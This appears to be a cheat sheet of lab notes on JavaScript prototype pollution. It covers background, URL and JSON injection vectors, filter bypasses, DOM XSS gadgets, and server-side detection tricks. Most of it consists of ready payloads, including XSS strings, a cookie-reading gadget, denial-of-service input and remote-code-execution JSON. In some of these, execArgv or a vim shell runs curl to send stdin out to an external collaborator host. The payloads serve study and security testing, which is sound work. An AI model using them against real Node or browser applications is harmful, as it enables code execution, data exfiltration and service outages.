Prototype Pollution
Prototype pollution is a JavaScript vulnerability that enables an attacker to add arbitrary properties to global object prototypes, which may then be inherited by user-defined objects.
JavaScript Prototype Background
Every object in JavaScript is linked to a prototype. Objects automatically inherit all properties of their assigned prototype unless they have their own property with the same key.
// Accessing prototype chain
username.__proto__ // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null
Via constructor:
myObject.constructor.prototype // Object.prototype (equivalent to myObject.__proto__)
Modifying Object.prototype affects ALL objects:
Object.prototype.isAdmin = true;
console.log({}.isAdmin); // true
Vulnerability Overview
Prototype pollution typically arises when a JavaScript function recursively merges user-controllable objects without sanitizing keys — allowing __proto__ to be interpreted as a prototype accessor rather than an ordinary property.
Three required components:
- Source — user-controllable input that can pollute a prototype (URL query/fragment, JSON, web messages)
- Sink — JS function or DOM element enabling arbitrary code execution
- Gadget — a property that is passed to a sink without sanitization and is inheritable via prototype pollution
Attack Vectors
Via URL Query String
https://vulnerable-website.com/?__proto__[evilProperty]=payload
https://vulnerable-website.com/?__proto__.evilProperty=payload
Testing in browser console:
Object.prototype.foo // "bar" = polluted; undefined = not successful
Via JSON (JSON.parse)
JSON.parse() treats __proto__ as an arbitrary string key, resulting in a true prototype property:
{
"__proto__": {
"evilProperty": "payload"
}
}
Difference:
const objectLiteral = {__proto__: {evilProperty: 'payload'}};
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');
objectLiteral.hasOwnProperty('__proto__'); // false
objectFromJson.hasOwnProperty('__proto__'); // true — prototype actually polluted
Via Constructor
Alternative when __proto__ is filtered:
/?constructor[prototype][foo]=bar
/?constructor.prototype.foo=bar
Bypassing Sanitization
If the app strips __proto__, try nested versions that survive sanitization:
/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__.foo=bar
/?constconstructorructor[protoprototypetype][foo]=bar
/?constconstructorructor.protoprototypetype.foo=bar
Client-Side Exploitation
Finding Gadgets Manually
- Inject arbitrary property via URL:
?__proto__[foo]=bar - In browser console, check
Object.prototype.foo - Look through source code for properties used by the app or libraries
- In Burp, intercept the response JS, add a
debuggerstatement - In console, define a trace property:
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', { get() { console.trace(); return 'polluted'; } }) - Monitor console for stack traces — if one appears, the property is being accessed
- Follow stack trace to find if it reaches a dangerous sink (
innerHTML,eval(), etc.)
Recommended Tool: DOM Invader (Burp)
Use DOM Invader for automated client-side prototype pollution detection.
Example: Fetch API Gadget
fetch('/my-products.json', {method:"GET"})
.then(response => response.json())
.then(data => {
let username = data['x-username'];
// username passed to innerHTML = gadget
message.innerHTML = `Logged in as <b>${username}</b>`;
});
Exploit:
?__proto__[headers][x-username]=<img/src/onerror=alert(1)>
Example: External Library Gadget
// Exploit server payload
document.location="https://VULNERABLE-SITE.net/filter?category=foo#constructor[prototype][hitCallback]=alert(document.cookie)"
DOM XSS via Prototype Pollution
Some apps use manager.sequence or similar properties — pollute with:
?__proto__[sequence]=foo-
Note: adding - at the end may be needed to prevent +1 from appending.
Server-Side Prototype Pollution
Harder to detect — dev tools unavailable, failures can be persistent and cause DoS.
JSON Body Injection
{
"user": "wiener",
"__proto__": {
"foo": "bar"
}
}
Check if foo appears in the response or changes behavior.
If __proto__ doesn’t work, try:
{
"constructor": {
"prototype": {
"json spaces": 2
}
}
}
Detection Technique 1: JSON Spaces Override
Express framework json spaces option controls JSON indentation in responses:
{
"__proto__": {
"json spaces": 10
}
}
Check the Raw response tab in Burp for increased indentation. This confirms server-side prototype pollution.
Detection Technique 2: Status Code Override
Express allows custom HTTP response codes. Try overriding status:
{
"__proto__": {
"status": 510
}
}
Detection Technique 3: Charset Override
If the server uses body-parser, the charset may be controllable:
- Add UTF-7 encoded value to a reflected property:
foo=+AGYAbwBv- - Pollute charset:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } } - Resend the original request — if the UTF-7 is now decoded, prototype pollution works
Remote Code Execution via Server-Side Prototype Pollution
NODE_OPTIONS + shell
Pollute env via the prototype chain:
{
"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}
}
Triggers Burp Collaborator interaction when new Node child processes spawn.
execArgv (child_process.fork)
{
"__proto__": {
"execArgv": [
"--eval=require('child_process').execSync('curl COLLABORATOR-URL')"
]
}
}
child_process.execSync via shell + input
{
"__proto__": {
"shell": "vim",
"input": ":! curl -d @- COLLABORATOR-URL\n"
}
}
Notes:
inputis passed to the child process’sstdinshellaccepts only the executable name (no args)- Vim satisfies all requirements: accepts stdin, uses
-cfor commands - For
curl: use-d @-to read from stdin; usexargsto convert stdin to arguments
Denial of Service
Override commonly used functions:
{
"__proto__": {
"toString": "Just crash the server"
}
}
Prevention
Object.freeze(Object.prototype)— prevents modification of prototype propertiesObject.seal(Object.prototype)— allows value changes but no new properties- Sanitize keys in recursive merge/clone operations before processing